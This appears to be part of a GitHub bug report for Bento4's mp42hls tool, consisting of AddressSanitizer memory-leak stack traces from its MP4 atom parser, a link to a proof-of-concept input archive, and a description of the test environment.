#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4b9f41 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4b9f41)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fbb89 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fbb89)
#6 0x4c48ca in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c48ca)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x537d62 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x537d62)
#3 0x4bb623 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bb623)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x672a2e in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x672a2e)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x6c5538 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c5538)
#9 0x6c48d2 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c48d2)
#10 0x4ba8b3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba8b3)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#14 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#15 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#16 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#17 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#18 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#19 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#20 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#21 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#22 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#23 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#24 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#25 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4ba751 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba751)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fbb89 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fbb89)
#6 0x4c48ca in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c48ca)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x78dd17 in AP4_MetaDataAtomTypeHandler::CreateAtom(unsigned int, unsigned int, AP4_ByteStream&, unsigned int, AP4_Atom*&) (/test_mp42hls/mp42hls+0x78dd17)
#3 0x4c511b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c511b)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fbb89 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fbb89)
#11 0x4c48ca in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c48ca)
#12 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#13 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#14 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#15 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#16 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#17 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#18 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c48ca in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c48ca)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4bb0c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bb0c3)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#14 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#15 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#16 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#17 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4bdf2b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bdf2b)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#14 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#15 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#16 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#17 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
……
Indirect leak of 20 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x6b73af in AP4_StscAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x6b73af)
#3 0x4baa0b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4baa0b)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#11 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#12 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#13 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#14 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#15 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#16 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#17 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#18 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 4 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x5ab4ab in AP4_MdhdAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x5ab4ab)
#3 0x4ba751 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba751)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
SUMMARY: AddressSanitizer: 5306 byte(s) leaked in 88 allocation(s).
```
# POC
[mp42hls-poc.zip](https://github.com/axiomatic-systems/Bento4/files/9618647/mp42hls-poc.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
